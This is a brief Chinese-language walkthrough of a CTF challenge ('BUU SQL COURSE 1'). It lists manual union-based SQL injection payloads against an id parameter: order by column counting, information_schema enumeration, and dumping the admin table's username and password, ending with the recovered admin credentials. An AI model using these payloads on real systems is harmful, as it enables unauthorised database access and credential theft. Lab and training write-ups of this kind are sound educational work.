BUU SQL COURSE 11

BUU SQL COURSE 11"/>

BUU SQL COURSE 11

打开之后 F12查看

:81/backend/content_detail.php?id=1

找到注入点

sql手工注入流程

1、判断注入类型 ？id=1 or 1=1  ?id=1' or '1'='1

2、判断列数：?id=1 order by 1,2,3

3、判断注入点：?id=-1 union select 1 ?id=-1 union select 1,2,3

4、查看数据库：?id=-1 union select 1,database()

5、查看表名：?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='news'

6、查看列名:  ?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'

7、查看字段：?id=-1 union select 1,group_concat(username) from admin

        ?id=-1 union select 1,group_concat(password) from admin

账号 admin 密码 62ca075a51d47c2b4d187c1088186532